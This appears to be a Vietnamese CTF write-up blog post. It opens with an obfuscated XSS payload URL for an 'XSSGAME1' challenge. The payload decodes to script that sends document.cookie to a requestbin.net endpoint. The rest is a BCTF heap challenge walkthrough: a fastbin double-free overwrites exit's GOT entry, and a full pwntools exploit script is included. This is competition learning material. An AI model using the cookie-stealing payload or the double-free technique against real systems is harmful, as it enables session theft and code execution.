http://165.22.52.11/XSSGAME1/?pl=sss/../../../XSSGAME1/index.php/?pl=/*%3Cscript%20x=*/eval(atob(/Zj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpZnJhbWUiKTsgIGYuaWQ9ImJlY2hhbmgiO2Yuc3JjPSIvWFNTR0FNRTEvc3VibWl0LnBocCI7IGYub25sb2FkPSgpPT57eD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTt4LnNyYz0nLy9yZXF1ZXN0YmluLm5ldC9yLzE4Z242YWExP2luc3BlY3Q9bGFsbGFsYWxhJytkb2N1bWVudC5jb29raWU7YmVjaGFuaC5jb250ZW50V2luZG93LmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoeCl9O2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZik7/.source));//%20src=%22/aaa%3E

Mình dùng kí tự \ để quote đoạn base64 vì hầu như các kí tự dùng để quote bị filter hết

BCTF (pwn-easiest)

Cũng 1 thời gian dài không chơi exploit, nay mới có cơ hội làm thử một bài heap tương đối dễ 😀 . Nhận thấy mình lạc hậu so với người hiện đại quá.

Description:
Basic tech for pwner.
instance1: nc 39.96.9.148 9999
instance2 : nc 47.91.104.255 9999

Sau khi dành ít thời gian để reverse, mình thấy:
Screen Shot 2018-11-29 at 5.24.51 PMScreen Shot 2018-11-29 at 5.24.37 PM
Screen Shot 2018-11-29 at 5.29.47 PM

Hàm add cho phép khởi tạo với size và số thứ tự mình control được.
Hàm delete có vẻ cũng rất thoải mái, nó cho phép xoá và free với số thứ tự của node luôn.
Hàm binsh này có lẽ là đích tới, có vẻ bài này chỉ cần tìm 1 bug sao cho mình có 1 quyền write là xong (để đè GOT).
Với việc cho phép người dùng kiểm soát được cả thứ tự và độ dài cấp phát, mình nghĩ tới double free là trường hợp dễ nhất mà ta có thể lấy được quyền write.

ref: https://heap-exploitation.dhavalkapil.com/attacks/double_free.html

Hình dung các bước mình làm để trigger bug như sau:
add(0) -> add(1) -> del(1) -> del(0) (để bypass kernel check double free)-> del(1) -> add(1) -> add(2)
và size mình có thể chọn 1 trong những đoạn 16, 24, 32, 40, 48, 56, 64, 72, 80, 88 để khi free, bin sẽ là fastbin.

Sau khi trigger được lỗi, ta có thể thử khai thác với các bước như sau:
add(0) -> add(1) -> del(1) -> del(0) (để bypass kernel check double free)-> del(1) -> add(0,addr) -> add(1,value)
=> Không được vì có 1 đoạn check độ dài của chunk -> phải tìm một địa chỉ khác để có chunk size hợp lý.
tuỳ vào size mà ta control, ta có thể chọn 1 địa chỉ bất kì làm chunk ảo.
Scenerio trở thành:
add(0) -> add(1) -> del(1) -> del(0) (để bypass kernel check double free)-> del(1) -> add(0,fake_chunk) -> add(1) -> add(2) -> add(3,payload)
Khi đó khi fake chunk được tạo ra, thì toàn bộ cấu trúc của ta có thể control được, và next chunk ta có thể overwrite vào địa chỉ cần ghi
Exploit:

from pwn import *
import sys

def them(idx, length, content):
	r.sendline("1")
	r.sendline(str(idx))
	r.sendline(str(length))

	r.sendline(content)

def xoa(idx):
	r.sendline("2")
	r.sendline(str(idx))

def exploit(r):
	
	length=48

	them(0, length, "a")
	them(1, length, "b")

	xoa(1)
	xoa(0)
	xoa(1)

	payload = p64(fake_chunk)
	pause()	
	them(0, length, payload)

	them(1, length, "c"*8)
	them(2, length, "d"*8)

	payload = 'a'*22
	payload += p64(binsh)
	payload += p64(got_exit+6)
	payload += 'a'*15
	
	pause()
	them(3, length, payload)

	r.sendline("id")
	r.interactive()

fake_chunk = 0x60203a	
binsh = 0x400946
got_exit = 0x602080
r = process("./easiest")
exploit(r)